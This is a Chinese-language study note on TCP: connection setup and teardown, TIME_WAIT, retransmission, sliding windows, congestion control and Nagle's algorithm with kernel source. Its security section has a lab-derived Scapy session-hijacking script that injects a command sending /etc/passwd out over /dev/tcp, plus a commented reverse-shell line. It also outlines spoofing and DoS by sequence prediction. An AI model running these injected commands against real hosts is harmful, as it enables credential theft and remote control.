TCP
常见相关问题:
- TCP 基础
- TCP 头格式
- 为什么需要 TCP 协议?
- 什么是 TCP ?什么是 TCP 连接?
- 如何唯一确定一个 TCP 连接?
- 有一个 IP 的服务器监听了一个端口,它的 TCP 最大连接数是多少?
- UDP 和 TCP 有什么区别呢?分别的应用场景是?
- 为什么 UDP 头部没有 首部长度 字段,而 TCP 头部有呢?
- 为什么 UDP 头部有 包长度 字段,而 TCP 头部没有呢?
- TCP 连接建立
- TCP 三次握手过程和状态变迁?
- 如何在 Linux 系统中查看 TCP 状态?
- 为什么是三次握手?不是两次、四次?
- 为什么客户端和服务器的初始序列号 ISN 是不相同的?
- 初始序列号 ISN 是如何随机产生的?
- 既然 IP 层会分片,为什么 TCP 层还需要 MSS 呢?
- 什么是 SYN 攻击?如何避免 SYN 攻击?
- TCP 连接断开
- TCP 四次挥手和状态变迁?
- 为什么挥手要四次?
- 为什么 TIME_WAIT 等待的时间是 2MSL ?
- 为什么需要 TIME_WAIT 状态?
- 如何优化 TIME_WAIT ?
- 如果已经建立了连接,但客户端突然出现故障怎么办?
TCP 协议的一些机制?
- 重传机制
- 超时重传
- 快速重传
- SACK 累积确认
- D-SACK
- 滑动窗口
- 发送窗口
- 接收窗口
- 流量控制
- 操作系统缓冲区与滑动窗口的关系
- 窗口关闭
- 糊涂窗口综合症
- 拥塞控制
- 慢启动
- 拥塞避免
- 拥塞发生
- 快速恢复
Characteristic:
- Sliding Window
- Cumulative Acknowledge
- Selective Acknowledge
- Automatic Repeat reQuest
- Flow Contorl
- Congestion Control
- Additive Increase Multiplicative Decrease
Capture Packets: tcpdump && Wireshark
RFC:
TCP Connection
IP 协议是不可靠的,不保证网络包的交付、按序交付和数据的完整性,所以出现了 TCP 这个用于可靠数据传输的协议,能确保接收端接收到的网络包是无损坏、无间隔、非冗余和按序的。 总的来说, TCP 是 面向连接的 、 可靠的 、 基于字节流 的传输层通信协议。
- 面向连接:一对一连接
- 可靠:网络链路无论出现了链路变化, TCP 能保证报文到达接收端
- 字节流:消息是没有边界的,可以传输任意大的消息。消息是有序的,当前一个消息没有收到的时候,即使先到了后面的字节,也不能交给应用层去处理,同时丢弃重复报文
连接建立后,操作系统分配两个缓冲区:发送缓冲区和接收缓冲区。TCP是双工的,两端可以发送和接收数据。一旦数据放入接收缓冲区,它们会被合并成一条数据流,数据包边界将会消失。只管往缓冲区里写数据,剩下交给操作系统处理。
Connections: The reliability and flow control mechanisms described above require that TCPs initialize and maintain certain status information for each data stream. The combination of this information, including sockets, sequence numbers, and window sizes, is called a connection.
Connections: 用于保证可靠性和流量控制维护的某些状态信息。这些信息的组合,包括 Socket 、序列号和窗口大小称为连接。
- Socket:由 IP 地址和端口组成
- 序列号:解决乱序问题
- 窗口大小:流量控制
四元组:源地址、源端口、目的地址、目的端口。 源、目的地址在 IP 头部中,通过 IP 协议将报文发送给对方主机,源、目的端口在 TCP 头部中,告诉 TCP 协议把数据报发给哪个进程。
对于服务器来说,通常是监听一个服务端口,等待客户端的连接,理论上最大的 TCP 连接数为:客户端 IP 数 x 客户端端口数 (2^32 x 2^16) ,但受限于文件描述符(ulimit)和内存限制。
相对于 UDP 协议只提供了无连接的、简单的通信服务(数据报由源端口、目的端口、包长度、检验和、数据组成), TCP 协议更可靠。
- 连接: TCP 面向连接,传输数据前先要建立连接; UDP 不需要连接,即刻传输数据
- 服务对象: TCP 是一对一的两点服务; UDP 支持一对一、一对多、多对多的交互通信
- 可靠性: TCP 是可靠交付数据,数据可以无差错、不丢失、不重复、按需到达; UDP 尽最大努力交付,不保证可靠交付
- 拥塞控制、流量控制: TCP 有拥塞和流量控制,保证数据传输的安全性; UDP 没有,不管这些
- 首部开销: TCP 首部长度较长,不启用 option 字段时是 20 字节; UDP 首部只有固定不变的 8 字节
- 传输方式: TCP 是流式传输,没有边界,保证顺序和可靠; UDP 是一个包一个包的发送,有边界,可能丢包和乱序
- 分片不同: TCP 的数据如果大于 MSS ,则会在传输层进行分片,接收端同样需要在传输层组装; UDP 的数据大小如果大于 MTU ,会在 IP 网络层进行分片,丢失需要重传所有的数据报,通常应控制 UDP 报文大小小于 MTU 。
- 应用场景: TCP 用于可靠性传输,如 FTP 文件传输、 HTTP/1 、 HTTP/2 ; UDP 用于包总量较少和实时性要求较高的服务,如 DNS 、 SNMP 、实时通话、广播通信
TCP 计算负载的数据长度: TCP 数据的长度 = IP 总长度 - IP 首部长度 - TCP 首部长度。 TCP 头部没有包长度字段,而 UDP 有,可能是设计的刚好满足 8 字节的头部长度。
半连接队列和全连接队列
LISTEN:
Recv-Q
当前全连接队列大小
Send-Q
当前全连接队列最大长度
!LISTEN:
Recv-Q
已收到但未被应用进程读取的字节数
Send-Q
已发送但未收到确认的字节数
当半连接队列满了却没有开启 syncookie 时,当全连接队列满了也会丢弃,当 max_syn_backlog - current_queue_len < (max_syn_backlog >> 2)
却没有开启 syncookie 时直接丢弃(或 reset)新的 SYN 报文。
开启 syncookie 的话会在收到 SYN 后响应的 SYN + ACK 中附带 SYN cookie (跟 seq 相关),接受到 ACK 时会进行验证,验证成功直接加入全连接队列。
TCP_DEFER_ACCPET
可以缓解全连接攻击,接受到第三次握手的 ACK (未附带数据)后还会在 SYNC_RCVD
状态(可以理解为 mini socket),此时连接建立端为 ESTABLISHED
状态,直到对端发送了有效载荷,才调用 accept()
。
Handshake
Client Server | -----SYN----> | | <--SYN+ACK--- | | -----ACK----> | Client Server
SYN_1 : Seq Num = Client_ISN SYN_2, ACK_1 : Seq Num = Srever_ISN, Ack Num = Client_ISN + 1 ACK_2 : Ack Num = Server_ISN + 1
前两次握手因为是 SYN ,不能携带数据,消耗序列号;第三次握手是 ACK ,可以携带数据,但不带数据的就不会消耗序列号。
查看 TCP 状态: netstat -napt ; ss -natp
。
三次握手能保证双方具有发送和接收的能力,且:
- 三次握手可以阻止重复历史连接的初始化:两次握手不能判断当前连接是否是历史连接,三次握手则可以在客户端准备发送第三次握手报文时有足够的信息判断当前连接是否是历史连接。如果是历史连接,发送 RST 报文终止连接;不是历史连接,发送 ACK 报文以建立连接
- 三次握手可以同步双方的初始序列号:序列号是可靠传输的关键因素,使得接收方可以去除重复的数据,接收方可以根据序列号按序排列,可以标识发送出去的数据包,哪些是已经被对方收到的。当客户端携带初始序列号的 SYN 报文,服务器回应 ACK 表示客户端的 SYN 已被接收(知道了客户端的初始序列号),同时服务器附带 SYN 发送自己的初始序列号,客户端收到后回应 ACK 表明已收到服务器的 SYN 报文(知道了服务器的初始序列号),这样才保证双方都知道的对方的初始序列号。从这个角度来看,也是协议要求的,即 ACK 确认。
- 三次握手可以避免资源浪费:二次握手容易造成服务器收到 SYN 就建立连接而造成资源浪费,四次握手的话就是服务器把 ACK 和 SYN 分开发送没必要
初始序列号
如果一个已经失效的连接被重用了,但是该旧连接的历史报文还残留在网络中,如果序列号相同,那么就无法分辨出该报文是不是历史报文,而若造成历史报文被新的连接接受了,则会产生数据错乱。
一方面每次建立连接前重新初始化一个序列号主要是为了通信双方能够根据序号将不属于本连接的数据报丢弃。另一方面为了安全性,防止黑客伪造相同的序列号的 TCP 报文从而造成被会话劫持等攻击。
RFC1948 提出了一个较好的初始化序列号 ISN 的随机生成算法: ISN = M + F(localhost, localport, remotehost, remoteport, <secret>)
M 为计时器,计时器每隔 4 毫秒 + 1 (每 4.55 小时转一圈);
F 为 Hash 算法,根据四元组和可选的秘密生成一个随机数值,算法可以使用 MD5 算法。
SYN 攻击
攻击者段时间内伪造不同 IP 地址的 SYN 报文,服务器接收到 SYN 报文进入 SYN_RCVD (半连接)状态,但回应的 SYN + ACK 报文无法得到未知 IP 主机的应答,久而久之占满 SYN 接收队列(未连接队列),导致服务器不能为正常用户服务。
Linux 内核参数:
net.core.netdev_max_backlog
: 当网卡接收数据包的速率大于内核处理的速度时,会有一个队列保存这个数据包,此值为该队列的最大值
net.ipv4.tcp_max_syn_backlog
: SYN_RCVD
状态连接的最大值
net.ipv4.tcp_abort_on_overflow
: 超出处理能力时,对新的 SYN 直接响应 RST
Linux 处理 TCP 连接的流程:
- 服务器收到客户端的 SYN ,将其加入内核的 SYN 队列
- 发送 ACK + SYN 给客户端,等待客户端回应
- 服务器收到客户端的 ACK ,从 SYN 队列移除并放入到 Accept 队列
- 应用程序通过调用
accept()
socket 接口,从 Accept 队列取出连接
当应用程序过慢时,就会导致 Accept 队列被占满。如果受到 SYN 攻击,会导致 SYN 队列被占满,使用 net.ipv4.tcp_syncookies
应对 SYN 攻击,在 ACK + SYN 报文中附带 SYN Cookie ,不将连接加入 SYN 队列,待到收到客户端的 ACK 报文,验证合法性才将其直接放入 Accept 队列。
四次挥手
TCP A TCP B 1. ESTABLISHED ESTABLISHED 2. (Close) FIN-WAIT-1 --> <SEQ=100><ACK=300><CTL=FIN,ACK> --> CLOSE-WAIT 3. FIN-WAIT-2 <-- <SEQ=300><ACK=101><CTL=ACK> <-- CLOSE-WAIT 4. (Close) TIME-WAIT <-- <SEQ=300><ACK=101><CTL=FIN,ACK> <-- LAST-ACK 5. TIME-WAIT --> <SEQ=101><ACK=301><CTL=ACK> --> CLOSED 6. (2 MSL) CLOSED
主动关闭连接的才有 TIME_WAIT
状态。
客户端发送 FIN 表示自己不再发送数据了,但还能接收数据。 四次是为了在服务端收到客户端的 FIN 时,回应 ACK 表示自己知道对方要断开连接,自己 还有数据需要处理和发送 ,待服务器也没有数据要发送时,发送 FIN 给客户端表示同意关闭连接。
TIME_WAIT
状态需要等待 2 MSL(Maximum Segment Lifetime) 后才进入 CLOSE
状态。
MSL: 报文最大生存时间,指任何报文在网络上存在的最长时间,超过这个时间报文将被丢弃,因为 TCP 基于 IP ,而 IP 头部中有一个 TTL 字段。
TTL: IP 分组可以经过的最大路由数,每被一个路由器处理后, TTL 就减 1 ,当此值为 0 时 IP 分组将被丢弃,同时发送 ICMP 报文通知源主机。
MSL 的单位是秒, TTL 的单位是路由跳数, MSL 要大于 TTL 消耗为 0 的时间。
2MSL: 网络中可能存在来自发送方的数据包,当这些发送方的数据包被接收方处理后又会想对方发送响应,所以一来一回需要等待 2 倍的时间。比如说被动关闭方没有收到断开连接的最后那个 ACK 报文,就会触发超时重发 FIN 报文,另一方收到 FIN 后,重发 ACK 给被动关方,一来一去正好 2 个 MSL 。2MSL 时间是从主动关闭方收到 FIN 后发送 ACK 报文后开始计时的,若又收到了对方的 FIN 而重发 ACK 报文,则重新开始计时。一般 Linux 系统默认 MSL 为 30 秒。
TIME_WAIT
可以:
- 防止具有相同四元组的旧数据包被收到
- 保证被动关闭一方能被正确的关闭,即保证最后的 ACK 报文能让被动关闭方接收
优化 TIME_WAIT
:
- Linux 内核打开
net.ipv4.tcp_tw_reuse, net.ipv4.tcp_timestamps
tcp_rw_resue
功能只能用在客户端(连接发起方),调用connect()
时,内核随机找一个TIME_WAIT
状态超过 1 秒的连接给新的连接复用,需配合 timestamp 选项在 TCP 头部的选项里记录 TCP 发送方的当前时间戳和从对端接收到的最新时间戳,由于引入了时间戳,2MSL 问题就可以不用考虑了,因为重复的数据包会因为时间戳过期被丢弃 net.ipv4.tcp_max_tw_buckets
一般默认是 18000 ,当系统中处于TIME_WAIT
的连接超过这个值,系统就会将后面的TIME_WAIT
连接状态重置,不推荐使用应用程序使用
SO_LINGER
,强制使用 RST 关闭连接 设置 Socket 选项调整 close 关闭连接的行为:struct linger so_linger; so_linger.l_onff = 1; so_linger.l_linger = 0; setsockopt(s, SOL_SOCKET, SO_LINGER, &so_linger, sizeof(so_linger));
如果
l_onoff
非 0 且l_linger
值为 0 ,那么调用close()
后,会立即发送一个 RST 给对端,该 TCP 连接将跳过四次挥手,直接关闭。这不符合 TCP 挥手正常关闭连接的初衷,不推荐使用
TCP 保活
定义一个时间段,在这个时间段内,如果没有任何连接相关的活动,TCP 保活机制会开始作用,每隔一个时间间隔,发送一个探测报文,该探测包含的数据非常少,如果连续几个探测保温都没有得到响应,则认为当前 TCP 连接已经死亡,系统内核将错误通知给上层应用程序。
Linux 内核相关设置:
net.ipv4.tcp_keepalive_time = 7200 # 保活时间 7200 秒 net.ipv4.tcp_keepalive_intvl = 75 # 检测间隔 75 秒 net.ipv4.tcp_keepalive_probes = 9 # 探测次数 9 次
则需要 7875 秒才发现一个死亡连接。
在对端程序正常工作时,会正常响应 TCP 探测报文,从而重置保活时间; 对端程序崩溃重启后,会对 TCP 探测报文响应 RST 报文; 探测报文因为某些原因不可达,多次探测直到最大次数。
MTU MSS
MTU(Maximum Transmission Unit): 一个网络包的最大长度,以太网一般为 1500 字节
MSS(Maximun Segment Size) : 除去 IP 和 TCP 头部后,一个网络包所能容纳的 TCP 数据的最大长度
如果 TCP 的整个报文都交给 IP 网络层去分片,那么在 IP 网络层有一个超过 MTU 大小的数据(TCP 头部 + TCP 数据)要发送,IP 网络层就要进行分片,保证每一个分片都小于 MTU ,把一个 IP 分组分片后,由目标主机的 IP 网络层重新组装后,再交给 TCP 协议处理, 当一个 IP 分片丢失,整个 IP 分组的所有分片都得重传 ,但 IP 协议没有超时重传机制,需要 TCP 负责超时和重传,当接收方没有收到 TCP 报文,则不会响应 ACK 给对方,那么发送方就会根据 TCP 重传机制重发整个 TCP 报文。
为了达到最佳的传输效能, TCP 协议在建立连接时通常要协商双方的 MTU 值,当 TCP 层发现数据超过 MSS 时,就会实现进行分片,到了 IP 网络层时 IP 分组的长度不会大于 MTU ,IP 网络层就不会分片了。这样在个别 TCP 分片丢失后,重传这些丢失的分片就行。
总结起来就是数据在 TCP 分段,就是为了在 IP 层不需要分片,同时发生重传的时候只重传分段后的小份数据。
PMTU
Path MTU Discovery: 路径 MTU 发现协议,利用 IP 数据包头的 DF(Don’t Fragment) 字段表示不允许分片,这样在链路中遇到路由器的 MTU 小于 IP 报文的长度时,路由器会通过 ICMP 协议通知发送端数据需要分片及自己的 MTU 大小。
Header Format
0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source Port | Destination Port | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Sequence Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Acknowledgment Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Data | |U|A|P|R|S|F| | | Offset| Reserved |R|C|S|S|Y|I| Window | | | |G|K|H|T|N|N| | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Checksum | Urgent Pointer | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Options | Padding | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | data | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Sequence Number: 建立连接时由计算机生成的随机数作为其初始值,通过 SYN 包传给接收端主机,每发送一次数据就 累加 一次 所发送的数据的字节数 的大小。用来解决网络包乱序问题
Acknowledgment Number: 指下一次 期望 收到的数据的序列号(Sequence Number),发送端收到这个确认号以后可以认为在这个序号以前的数据都已被正常接受。用来解决丢包问题。
Flags
Flag | Function |
---|---|
URG | Urgent Pointer field significant |
ACK | Acknowledgment field significant |
PSH | Push Function |
RST | Reset the connection |
SYN | Synchronize sequence numbers |
FIN | No more data from sender |
SYN packet can’t carry data, but it will consume a sequence number. ACK packet can carry data, don’t consume sequence number if it don’t carry data.
TCP 有限状态机

TCP 安全问题
在 TCP 协议下,利用伪造的数据包,可以:
- 提前确认数据,扰乱 TCP 的 ACK 时钟,影响 RTT 测量
- 乱序确认数据,扰乱 ACK 到达的顺序,影响拥塞控制
- 确认已丢弃的数据,接受端无法接收到该数据,造成空洞
- 确认已丢弃的数据,伪造数据弥补空洞实现注入
- 伪造数据注入,使 SSH, HTTPS 等解密失败, TCP 正常关闭
会话劫持
伪造数据包让一方接受这个伪造的数据包的攻击方式,一台计算机可以有多个并发的TCP会话,因此它需要知道一个数据包属于哪一个TCP会话。TCP使用4元组来唯一确定一个会话: 源IP地址、目的IP地址、源端口号、目的端口号,这4个域称为TCP会话的特征。 为了伪造数据包,除了上面四个特征必须符合外,还有一个关键的序列号必须符合。
危害:如果接收方是 telnet 服务器,那从发送方到接收方的数据就是命令,一旦控制了该会话,就可以让 telnet 服务器运行攻击者的命令, 这就是把这类攻击称为 TCP 会话劫持的原因。具体是在客户端连接到服务器时,攻击者抓包得到序列号从而伪造数据包。例如:
#!/usr/bin/env python3 ''' http://note.blueegg.net.cn/seed-labs/tcp/session-attack/ ''' import sys from scapy.all import * print("SENDING SESSION HIJACKING PACKET.....") client_addr = "192.168.230.151" server_addr = "192.168.230.150" IPLayer = IP(src=client_addr, dst=server_addr) TCPLayer = TCP(sport=38276, dport=23, flags="A", seq=2833231448, ack=1828464701) Data = "\r cat /etc/passwd > /dev/tcp/192.168.230.1/9090\r" # Data = "\r /bin/bash -i > /dev/tcp/192.168.230.1/9090 2>&1 0<&1 \r" # get shell pkt = IPLayer/TCPLayer/Data ls(pkt) end(pkt, verbose=0)
身份仿冒
C - Sender
S - receiver
M - hacker
- M 对 C 发起 SYN Flood 攻击,使得 C 不可用
- M 仿冒 C 的地址对 S 发起连接请求
- S 对 C 进行回应,M 无法收到,除非在同网段监听
- M 预测 S 的序列号,以此回应 S
- S 收到 ACK 回应后任务和 C 建立了连接
M 仿冒 C 的地址与 S 通信,M 虽然不会收到 S 发来的报文,但可以向 S 发送伪造的数据包
DoS 攻击
M 可以预测 C 和 S 的序列号,在 C 和 S 的通信过程中,假冒任意一方的 IP 地址,频繁抢先一部发送错误的报文:
- 发送序列号正确的 ACK 报文,导致很多正确的报文被丢弃, TCP 连接看起来正常,系统处于拒绝服务状态
- 发送序列号正确的 FIN 报文,导致 TCP 连接关闭,系统处于拒绝服务状态
TCP 重要机制
需要 TCP 通过采样 RTT 的时间,进行加权平均,算出一个平滑的 RTT 值,这个值会根据网络变化而不断变化;除了采样 RTT ,还要采样 RTT 的波动范围,这样避免如果 RTT 又一个大的波动的话,而导致很难被发现的情况。
RFC6298 建议计算 RTO 的公式:
- 首次计算 RTO , R1 为第一次测量的 RTT \[\text{SRTT} = R_{1}\] \[\text{DevRTT} = \frac{R_{1}}{2}\] \[\text{RTO} = \mu \text{SRTT} + \theta \text{DevRTT} = \mu R_{1} + \theta \frac{R_{1}}{2}\]
- 后续计算 RTO ,R2 为最新测量的 RTT \[\text{SRTT} = \text{SRTT} + \alpha (\text{RTT} - \text{SRTT}) = R_{1} + \alpha (R_{2} - R_{1})\] \[\text{DevRTT} = (1 - \beta) \text{DevRTT} + \beta (\vert \text{RTT} - \text{SRTT} \vert) = (1 - \beta)\frac{R_{1}}{2} + \beta(\vert R_{2} - R_{1} \vert)\] \[\text{RTO} = \mu \text{SRTT} + \theta \text{DevRTT}\]
Linux 系统中: \[\alpha = 0.125, \beta=0.25, \mu = 1, \theta = 4\]
超时重传
超时重传:发送数据时,设置一个定时器,当超出指定的时间后,没有收到对方的 ACK 确认应答报文,就会重发该数据。 即在 数据包丢失 和 确认应答丢失 这两种情况下发生超时重传。超时重传时间 (RTO, Retransmission Timeout) 一般设置是略大于报文往返 RTT 值。 如果超时重发的数据,再次超时的时候而又需要重传的时候, TCP 的策略是超时间隔加倍。
快速重传
Fast Retransmit: 不以时间为驱动,而以数据驱动重传。 即在某个 TCP 报文丢失时,在超时定时器过期前,连续发送 3 个 ACK 报文,表示有报文丢失,需要重传。
SACK(Selective Acknowledgment)
在 TCP 头部选项字段里加一个 SACK ,可以将已缓存的数据告诉发送方,这样发送方就知道哪些数据收到了,哪些没收到,于是发送方就可以只重传丢失的数据。
Linux: net.ipv4.tcp_sack
D-SACK(Duplicate SACK)
使用 SACK 告诉发送方有哪些数据被重复接收了。在 ACK 丢包和因为网络延时而导致重传报文比原报文先到的时候可以告诉发送方哪些数据被重复接收了。
滑动窗口
在一定的窗口大小内,无需等待确认应答,而可以继续发送数据的最大值。窗口的实现实际上是操作系统开辟的一个缓存空间,发送方主机在等到确认应答返回之前,必须在缓冲区中保留已发送的数据,如果按期收到确认应答,此时数据就可以从缓冲区清除。
只要收到接收方的 ACK 应答,可以认为在此确认序列号之前的报文已被接收方成功接收。
窗口的协商通过 TCP 头部的 Window 字段实现。Window 字段为接收端告诉发送端自己还有多少缓冲区可以接收数据。于是发送端就可以根据这个接收端的处理能力来发送数据,而不会导致接受端处理不过来。 通常窗口的大小由 接收方 的窗口大小决定。
发送方的滑动窗口:
- 已发送并收到 ACK 确认的数据(不计入窗口,将被清除)
- 已发送但未收到 ACK 确认的数据(可用窗口)
- 未发送但总大小在接收方处理范围内(实际可用窗口)
- 未发送但总大小超过接收方处理范围(不计入窗口)
利用一个变量和三个指针变量:
SND.WND
: 表示发送窗口的大小(由接收方决定)SND.UNA
: 绝对指针,指向已发送但未收到确认的第一个字节的序列号SND.NXT
: 绝对指针,指向未发送但可发送范围的第一个字节的序列号SND.WND-(SND.NXT-SND.UNA)
: 相对指针,指向未发送但总大小超过接收方处理范围的第一个字节的序列号
接收方的滑动窗口:
- 已成功接收并确认的数据(等待应用进程读取,应用程序读取后,窗口可以变大一些)
- 未收到数据但可以接收的数据
- 未收到数据不可以接收的数据
利用一个变量和两个指针变量:
RCV.WND
: 表示接收窗口的大小RCV.NXT
: 绝对指针,指向未收到但可以接收的数据的第一个字节的序列号RCV.NXT+RCV.WND
: 相对指针,指向未收到不可以接收的数据的第一个字节的序列号
发送方的滑动窗口约等于接收方的。
Window size scaling factor? 如果没有窗口因子,那窗口默认最大 64KB ,不能满足如今的需要,在 TCP option 字段中定义窗口扩大因子,用于扩大 TCP 通告窗口,其值大小是 2^{14} ,这样 TCP 最大窗口大小从 16 位扩展到 30 位,最大窗口值 1GB 。
流量控制
滑动窗口本质上是操作系统的缓冲区,会被操作系统调整。 例如说上层应用没有及时从缓冲区读取数据,会造成接收窗口减少并通知发送方。这种情况下可能导致窗口会收缩为 0 ,即窗口关闭,发送方会定时发送窗口探测报文,以便知道接受方的窗口是否发生了改变。
在操作系统资源紧张时,操作系统会直接减少接收缓冲区的大小,这时上层应用又无法及时读取缓存数据,会出现数据包丢失的情况。此时若发送方还按照之前的窗口发送数据,超出缓冲区大小的数据会被丢弃,发送方的可用窗口可能会变成负值。 为了应对这种情况, TCP 规定不允许同时减少缓冲区又收缩窗口,而要采用先收缩窗口,过段时间再减少缓冲区大小。
窗口关闭:接收方在发送窗口为 0 的报文一段时间后,又可以接收数据了,但发送的窗口改变的 ACK 报文丢失了,可能造成死锁,即发送方一直等待接收方的非 0 窗口通知,接收放因为不知道发送的报文丢失的情况而一直等待发送方的数据。 为此, TCP 为每次连接设有一个持续定时器,只要 TCP 连接一方收到对方的零窗口通知,就启动持续计时器,如果持续计时器超时,就会发送窗口探测报文,而接受方在确认这个探测报文时,给出自己现在的接收窗口大小。
糊涂窗口综合症(Silly Window Syndrome):如果接收方太忙了,来不及取走接收窗口里的数据,那么就会导致发送方的发送窗口越来越小,到最后,如果接受方腾出几个字节并告诉发送方现在有几个字节的窗口,而发送方又立即按窗口大小发送这几个字节(数据甚至比首部还少)。 接收方在窗口大小小于 min(MSS, buffer/2) 时直接向发送方通告窗口为 0,阻止对方再发送数据过来。 发送方使用 Nagle 算法:
- 等到 窗口 大于或者 数据 大于 MSS
- 收到之前发送数据的 ACK 回应
满足任意一条就可以发送数据。 可以设置 Socket TCP_NODELAY 关闭此算法。
拥塞控制
在网络出现拥堵时,如果继续发送⼤量数据包,可能会导致数据包时延、丢失等,这时 TCP 就会重传数据,但是⼀重传就会导致⽹络的负担更重,于是会导致更⼤的延迟以及更多的丢包,这个情况就会进⼊恶性循环被不断地放⼤。
拥塞窗口 cwnd
是发送方维护的一个状态变量,根据网络拥塞程度动态变化。 1 个 cwnd
表示一个 MSS 大小。
发送窗口 swnd = min(cwnd, rwnd)
只要网络中没有出现拥塞(没有超时重传), cwnd
就会增大,反之则减少。
四个控制算法:
- 慢启动
- 拥塞避免
- 拥塞发生
- 快速恢复
慢启动
TCP 连接在刚建立完成后,首先进入慢启动阶段,一点一点提高发送数据包的数量:当发送方每收到一个 ACK ,拥塞窗口 cwnd
就加 1 。拥塞窗口呈指数增长。
慢启动阈值 ssthresh(slow start threshold)
,小于此值使用慢启动算法,大于等于此值使用拥塞避免算法。
拥塞避免
一般 ssthresh
的大小是 65535 字节,进入拥塞避免阶段,每当收到一个 ACK 时, cwnd
增加 1/cwnd
,也就是要收到 cwnd
个 ACK ,能才增加 1 cwnd/MSS
。此时拥塞窗口呈线性增长。
拥塞发生
重传机制:超时重传和快速重传。 超时重传时:
ssthresh = cwnd / 2 cwnd = 1
相当于此时 TCP 重新进入慢启动阶段,数据流剧烈减少。
快速重传时:
cwnd = cwnd / 2 ssthresh = cwnd
进入快速恢复过程。快速重传就是接收方连续发送 3 个 ACK ,发送方接收到后开始重传,因为接受到了 3 个 ACK ,所以接收方可以认为此时的网络不是特别槽糕, cwnd
窗口减半。
快速恢复
在快速重传已经改变 cwnd
和 ssthresh
的基础上:
cwnd = ssthresh + 3
因为收到了 3 个 ACK 包- 重传丢失的数据包
- 再收到重复的 ACK ,那么
cwnd
加 1 - 如果收到新数据的 ACK ,把
cwnd
设置为第一步中的ssthresh
的值 因为该 ACK 确认了新的数据,说明从 Duplicate ACK 时的数据都已收到,该恢复过程已经结束,可以回到恢复之前的状态了,即再次进入拥塞避免阶段
收到 3 个重复的 ACK 意味着网络很有可能没有阻塞。比如有报文段 1, 2, 3, 4 重复收到报文段 1 的序号,那么意味着实际上 2, 3, 4 都是到达了对方,如果此时只将 cwnd 减半,那么很有可能未确认的报文数量是要大于或接近 cwnd 的,此时数据几乎不发送,而当新的 ACK 达到时,滑动窗口右滑,又可能造成大量的数据同时发送出去。既然有 3 个重复的 ACK ,那么至少有 3 个包是离开了网络的,我们就可以透支给 cwnd+3 ,以后每当收到一个重复的 ACK ,就意味着一个包离开网络,我们就可以给 cwnd+1 。而当新的 ACK 到达时,如果不把 cwnd 还原,很有可能会发送大量的数据出去,所以最好的办法是将透支的大小都给还回来。
TCP 的一些算法
Nagle
小包:包长度小于 MSS 的包; 大包:包长度等于 MSS 的包。 发送方会先将第一个小包发送出去,而将后面到达的少量数据都缓存起来而不立即发送,直到收到对端对前一个数据包报文段的 ACK 确认,或当前数据属于紧急数据,或积攒到了一定量(大于等于 MSS)等情况才将数据发送出去。 Linux Kernel 3.4.4:
// Filename : \linux-3.4.4\net\ipv4\tcp_output.c:1384 /* Return 0, if packet can be sent now without violation Nagle's rules: * 1. It is full sized. * 2. Or it contains FIN. (already checked by caller) * 3. Or TCP_CORK is not set, and TCP_NODELAY is set. * 4. Or TCP_CORK is not set, and all sent packets are ACKed. * With Minshall's modification: all sent small packets are ACKed. */ static inline int tcp_nagle_check(const struct tcp_sock *tp, const struct sk_buff *skb, unsigned mss_now, int nonagle) { return skb->len < mss_now && // 数据长度不够 ((nonagle & TCP_NAGLE_CORK) || // 未开启 nagle 时内核加塞(cork)了 (!nonagle && tp->packets_out && tcp_minshall_check(tp))); // 开启了 nagle 且没有未确认的小包 // 返回 1 表示不立即发送,情况是 // 1. 长度不够 且 加塞 // 2. 长度不够 且 开启了 nagle 且 有未被确认的小包 // tp->packets_out 为真表示存在未被确认的包 // tcp_minshall_check 为真表示存在未被确认的小包(改进) // tcp_minshall_check: \linux-3.4.4\net\ipv4\tcp_output.c:1378 } /* Return non-zero if the Nagle test allows this packet to be * sent now. */ static inline int tcp_nagle_test(const struct tcp_sock *tp, const struct sk_buff *skb, unsigned int cur_mss, int nonagle) { /* Nagle rule does not apply to frames, which sit in the middle of the * write_queue (they have no chances to get new data). * * This is implemented in the callers, where they modify the 'nonagle' * argument based upon the location of SKB in the send queue. */ if (nonagle & TCP_NAGLE_PUSH) return 1; /* Don't use the nagle rule for urgent data (or for the final FIN). * Nagle can be ignored during F-RTO too (see RFC4138). */ if (tcp_urg_mode(tp) || (tp->frto_counter == 2) || (TCP_SKB_CB(skb)->tcp_flags & TCPHDR_FIN)) return 1; if (!tcp_nagle_check(tp, skb, cur_mss, nonagle)) return 1; return 0; }
传统 Nagle 算法可视为一种包-停-等协议,它在未收到前一个包的确认前不会发送第二个包,除非迫不得已。而改进的 Nagle 算法是一种折中处理,如果未确认的不是小包,那么第二个包可以发送出去,能保证在同一个 RTT 内,网络上只有一个当前连接的小包,因为如果前一个小包未被确认,不会发出第二个小包。 但是,改进的 Nagle 算法在某些情况下反而会出现不利,例如: MSS 为 1000 时,到达 1000, 600, 600 三个数据块,后续暂时没有其他数据块; 传统 Nagle 算法是 1000, 1000, 200 这样发送,只产生 1 个小包; 而改进的 Nagle 算法是 1000, 600, 600 这样发送,会产生 2 个小包。
一般 TCP 发包的流程:
tcp_push() -> __tcp_push_pending_frames() -> tcp_write_xmit()
而如果所有发出去的数据包都已经确认并且有数据包等待发送,会导致调用 tcp_check_probe_timer()
:
tcp_probe_timer() -> tcp_send_probe0() -> tcp_write_wakeup() -> tcp_transmit_skb()
从而绕过 Nagle 和 TCP_CORK
,既然反正是要发一个数据包(零窗口探测包),如果有实际数据等待发送,那么干脆就直接发送一个负载等待发送数据的数据包岂不是更好。
改进的 Nagle - Minshall
